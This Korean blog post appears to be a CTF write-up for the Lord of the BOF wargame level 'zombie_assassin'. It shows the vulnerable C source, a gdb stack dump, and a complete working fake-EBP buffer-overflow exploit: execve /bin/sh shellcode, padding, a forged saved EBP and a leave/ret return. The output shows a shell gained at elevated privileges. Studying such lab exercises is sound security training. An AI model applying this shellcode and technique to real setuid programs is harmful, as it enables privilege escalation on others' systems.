본문 바로가기

CTF_Write_UP/LOB

[LOB] zombie

시작

안녕하세요!! :D

이번에도 이상한 곳에서 한참 삽질했습니다 ㅎㅎ.. 스택이 참 민감한 친구라는걸 매번 잊어버리네요ㅠ

이젠 마스터한 Fake EBP 문제, 시작해보죠!!

Write UP

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - zombie_assassin 
        - FEBP 
*/ 

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[]) 
{ 
        char buffer[40]; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        if(argv[1][47] == '\xbf') 
        { 
                printf("stack retbayed you!\n"); 
                exit(0); 
        } 

        if(argv[1][47] == '\x40') 
        { 
                printf("library retbayed you, too!!\n"); 
                exit(0); 
        } 

        // strncpy instead of strcpy! 
        strncpy(buffer, argv[1], 48); 
        printf("%s\n", buffer); 
}

FEBP = Fake EBP겠죠?? 48개만 받는 것을 보니깐 RET까지 끊어주네요.

RET엔 역시 필터가 걸려 있습니다.

FPO, Fake EBP.. 다 같은 유형이죠? leave ret을 이용해서 eip의 흐름을 바꾸는 거에요.

버퍼에 쉘코드 + NOP을 넣어주고 SFP를 쉘코드 시작주소를 가리키는 주소 + 8 해준 후 leave ret으로 다시 돌려주면 끝이겠네요.

Breakpoint 1, 0x80484cb in main () 
(gdb) x/40wx $esp 
0xbffffaa4:     0xbffffab0      0xbffffc36      0x00000030      0x41414141 
0xbffffab4:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffac4:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffad4:     0x41414141      0x42424242      0x43434343      0x00000002 
0xbffffae4:     0xbffffb24      0xbffffb30      0x40013868      0x00000002 
0xbffffaf4:     0x08048390      0x00000000      0x080483b1      0x08048440 
0xbffffb04:     0x00000002      0xbffffb24      0x080482e4      0x0804851c 
0xbffffb14:     0x4000ae60      0xbffffb1c      0x40013e90      0x00000002 
0xbffffb24:     0xbffffc1a      0xbffffc36      0x00000000      0xbffffc67 
0xbffffb34:     0xbffffc80      0xbffffc9f      0xbffffcc1      0xbffffccf

버퍼의 시작 주소는 0xbffffab0이고, 얘를 가리키는 포인터는 esp의 위치인 0xbffffaa4에 있네요.

Fake EBP를 사용하기 위해 SFP를 +4된 주소값인 0xbffffaa8로 넣어주겠습니다.

0x80484df <main+159>:   leave 
0x80484e0 <main+160>:   ret

RET은 0x80484df로 넣어서 leave ret이 한 번더 실행되게 할게요.

[assassin@localhost zombie_assassin]$ ./zombiee `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 15 + "\xa8\xfa\xff\xbf" + "\xdf\x84\x04\x08"'` 
1▒Ph//shh/bin▒▒PS▒▒° 
                    ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒߄ 
bash$ id 
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin) 
bash$ my-pass 
euid = 516 
no place to hide

Exploit!!

자.. 삽질을 어디서 했냐..

스택이란 친구가 참 자주 바뀌잖아요? 사소한 것 하나하나에 영향을 받죠.

심볼릭 링크 걸 때 이름을 엄청 짧게 해놨었어요 ㅋㅋㅋㅋ 막 aa, zom 이렇게요.

얘 때문에 스택 시작 주소가 바뀌어서 세폴이 계속 뜨더라구요ㅠㅠ

setuid 걸려있어서 코어도 안떨어지구..

파일명 바꾸니깐 바로 됐어요 ㅋㅋㅋㅋㅋㅋ

마무리

앞으로 익스 때릴 땐 파일명도 생각합시다!!!

leave ret을 이용한 문제들은 이제 가뿐하네요 ㅎㅎ

감사합니다!! :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] succubus  (0) 2019.09.09
[LOB] zombie_assassin  (0) 2019.09.09
[LOB] giant  (0) 2019.08.03
[LOB] bugbear  (0) 2019.08.02
[LOB] darkknight  (0) 2019.08.01